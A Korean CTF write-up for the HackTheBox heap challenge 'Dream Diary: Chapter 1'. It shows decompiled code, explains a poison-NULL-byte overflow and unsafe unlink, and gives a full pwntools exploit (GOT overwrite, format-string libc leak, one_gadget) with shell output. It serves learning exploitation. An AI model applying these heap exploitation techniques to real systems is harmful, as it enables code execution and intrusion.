본문으로 바로가기

HackTheBox Dream Diary : Chapter 1

Summary

  • poison NULL byte

  • Unsafe Unlink


Analysis

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 int select; // eax
 __int64 buf; // [rsp+0h] [rbp-10h]
 unsigned __int64 canary; // [rsp+8h] [rbp-8h]

 canary = __readfsqword(0x28u);
 buf = 0LL;
 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stderr, 0LL, 2, 0LL);
 while ( 1 )
{
   while ( 1 )
  {
     menu();
     read(0, &buf, 4uLL);
     select = atoi(&buf);
     if ( select != 2 )
       break;
     edit();
  }
   if ( select > 2 )
  {
     if ( select == 3 )
    {
       delete();
    }
     else
    {
       if ( select == 4 )
         exit(0);
LABEL_13:
       puts("Invalid choice!");
    }
  }
   else
  {
     if ( select != 1 )
       goto LABEL_13;
     allocate();
  }
}
}

그냥 무난한 메뉴첼린지 힙문제이다.

취약점은 edit에서 발생한다.


edit()

unsigned __int64 edit()
{
 size_t size; // ST08_8
 int index; // [rsp+4h] [rbp-1Ch]
 __int64 buf; // [rsp+10h] [rbp-10h]
 unsigned __int64 canary; // [rsp+18h] [rbp-8h]

 canary = __readfsqword(0x28u);
 buf = 0LL;
 printf("Index: ");
 read(0, &buf, 4uLL);
 index = atoi(&buf);
 if ( index >= 0 && index <= 15 )
{
   if ( ptr[index] )
  {
     size = strlen(ptr[index]);
     printf("Data: ", &buf);
     read_str(ptr[index], size);
     puts("Done!");
  }
   else
  {
     puts("No UAF for you!");
  }
}
 else
{
   puts("Out of bounds!");
}
 return __readfsqword(0x28u) ^ canary;
}

수정할 때 사이즈를 strlen(ptr[index])로 검사한다.

0x18,0x28이런식으로 입력하고 버퍼를 꽉꽉 채우면 prev_sizeinuse bit를 조질 수 있다.

그리고 전역변수에서 chunk를 관리하므로, 그냥 unsafe unlink했다.

생각해보면 poison NULL byte로 패빈덥 해도 될 듯 하다.


Exploit

문제에서는 show와 같은 출력 메뉴가 주어지지 않는다.

따라서 나는 free함수의 gotprintf함수의 plt를 넣은 후 FSB를 만들었다.

힙의 내용에 %p%p%p%p와 같이 넣어두고 이를 free하면 FSB를 트리거 시킬 수 있다.

릭을 수행 한 후에는 free함수에 gotoneshot gadget을 넣어 쉘을 획득했다.


from pwn import *

#context.log_level = "debug"

binary = "./chapter1"
e = ELF(binary)
libc = e.libc

r = process(binary)
#r = remote("docker.hackthebox.eu",32495)

go = lambda x: r.sendafter(">> ",str(x))
go2 = lambda x: r.sendafter(": ",str(x))

def allocate(size,data):
go(1)
go2(size)
go2(data)

def edit(index,data):
go(2)
go2(index)
go2(data)

def delete(index):
go(3)
go2(index)

ptr = 0x0000000006020C0
log.info("ptr (1): " + hex(ptr))
ptr += 8*3
log.info("ptr (2): " + hex(ptr))

allocate(0x88,"A"*0x88)
allocate(0x88,"B"*0x88)
allocate(0x88,"C"*0x88)
allocate(0x88,"D"*0x88)
allocate(0x88,"E"*0x88)

fake = p64(0) * 2 + p64(ptr - 0x18) + p64(ptr - 0x10)
fake = fake.ljust(0x80,"X")
fake += p64(0x80) + "\x90"
edit(3,fake)
delete(4)

edit(3,p32(e.got["free"]))
edit(0,p64(e.plt["printf"]) + "A"*8)

allocate(0x88,"%15$p")
delete(4)

libc_base = int(r.recv(14),16)
libc_base -= libc.symbols["__libc_start_main"] + 240
log.info("libc_base : " + hex(libc_base))

edit(3,p32(e.got["malloc"]))
edit(0,p64(libc_base + 0xf1147))

go(1)
go2(123)

hackthebox 도 은근히 재미있는듯.


Shell

juntae@ubuntu:~/wargame/hackthebox/chapter1$ p local.py 
[*] '/home/juntae/wargame/hackthebox/chapter1/chapter1'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './chapter1': pid 3678
[*] ptr (1): 0x6020c0
[*] ptr (2): 0x6020d8
[*] libc_base : 0x7f7f2bdb3000
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)